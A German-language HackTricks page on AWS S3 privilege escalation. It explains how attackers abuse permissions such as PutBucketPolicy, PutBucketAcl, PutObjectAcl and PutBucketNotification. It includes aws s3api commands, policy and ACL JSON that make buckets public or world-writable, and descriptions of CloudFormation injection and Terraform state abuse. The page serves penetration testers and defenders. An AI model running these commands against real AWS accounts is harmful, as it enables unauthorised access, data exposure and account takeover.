AWS - S3 Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
S3
s3:PutBucketNotification
, s3:PutObject
, s3:GetObject
Ein Angreifer mit diesen Berechtigungen über interessante Buckets könnte in der Lage sein, Ressourcen zu übernehmen und Privilegien zu eskalieren.
Zum Beispiel kann ein Angreifer mit diesen Berechtigungen über einen CloudFormation-Bucket namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit der folgenden Richtlinie gewährt werden:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
Und die Übernahme ist möglich, weil es ein kurzes Zeitfenster vom Moment des Hochladens der Vorlage in den Bucket bis zum Moment der Bereitstellung der Vorlage gibt. Ein Angreifer könnte einfach eine lambda function in seinem Konto erstellen, die ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird, und übernimmt den Inhalt dieses Buckets.
Das Pacu-Modul cfn__resouce_injection
kann verwendet werden, um diesen Angriff zu automatisieren.
Für weitere Informationen siehe die ursprüngliche Forschung: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject
, s3:GetObject
Dies sind die Berechtigungen, um Objekte in S3 zu erhalten und hochzuladen. Mehrere Dienste innerhalb von AWS (und außerhalb davon) verwenden S3-Speicher, um Konfigurationsdateien zu speichern.
Ein Angreifer mit Lesezugriff auf diese könnte sensible Informationen darin finden.
Ein Angreifer mit Schreibzugriff könnte die Daten ändern, um einen Dienst auszunutzen und zu versuchen, Privilegien zu eskalieren.
Hier sind einige Beispiele:
- Wenn eine EC2-Instanz die Benutzerdaten in einem S3-Bucket speichert, könnte ein Angreifer diese ändern, um beliebigen Code innerhalb der EC2-Instanz auszuführen.
s3:PutObject
, s3:GetObject
(optional) über Terraform-Zustandsdatei
Es ist sehr häufig, dass die terraform Zustandsdateien im Blob-Speicher von Cloud-Anbietern, z.B. AWS S3, gespeichert werden. Die Dateiendung für eine Zustandsdatei ist .tfstate
, und die Bucket-Namen geben oft auch preis, dass sie Terraform-Zustandsdateien enthalten. In der Regel hat jedes AWS-Konto einen solchen Bucket, um die Zustandsdateien zu speichern, die den Zustand des Kontos anzeigen.
Außerdem haben in der realen Welt fast immer alle Entwickler s3:*
und manchmal sogar Geschäftsanwender s3:Put*
.
Wenn Sie also die oben genannten Berechtigungen über diese Dateien haben, gibt es einen Angriffsvektor, der es Ihnen ermöglicht, RCE in der Pipeline mit den Rechten von terraform
zu erlangen - meistens AdministratorAccess
, was Sie zum Administrator des Cloud-Kontos macht. Außerdem können Sie diesen Vektor verwenden, um einen Denial-of-Service-Angriff durchzuführen, indem Sie terraform
legitime Ressourcen löschen lassen.
Befolgen Sie die Beschreibung im Abschnitt Abusing Terraform State Files der Terraform Security-Seite für direkt verwendbaren Exploit-Code:
s3:PutBucketPolicy
Ein Angreifer, der aus demselben Konto stammen muss, da sonst der Fehler Die angegebene Methode ist nicht erlaubt
ausgelöst wird, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über die Bucket(s) gewähren, die es ihm ermöglichen, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl
, s3:PutBucketAcl
Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte Buckets zu gewähren.
Beachten Sie, dass der Angreifer nicht aus demselben Konto stammen muss. Darüber hinaus ist der Schreibzugriff
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectAcl
Ein Angreifer könnte diese Berechtigungen missbrauchen, um ihm mehr Zugriff auf bestimmte Objekte innerhalb von Buckets zu gewähren.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectVersionAcl
Ein Angreifer mit diesen Berechtigungen wird erwartet, in der Lage zu sein, eine Acl für eine bestimmte Objektversion festzulegen.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.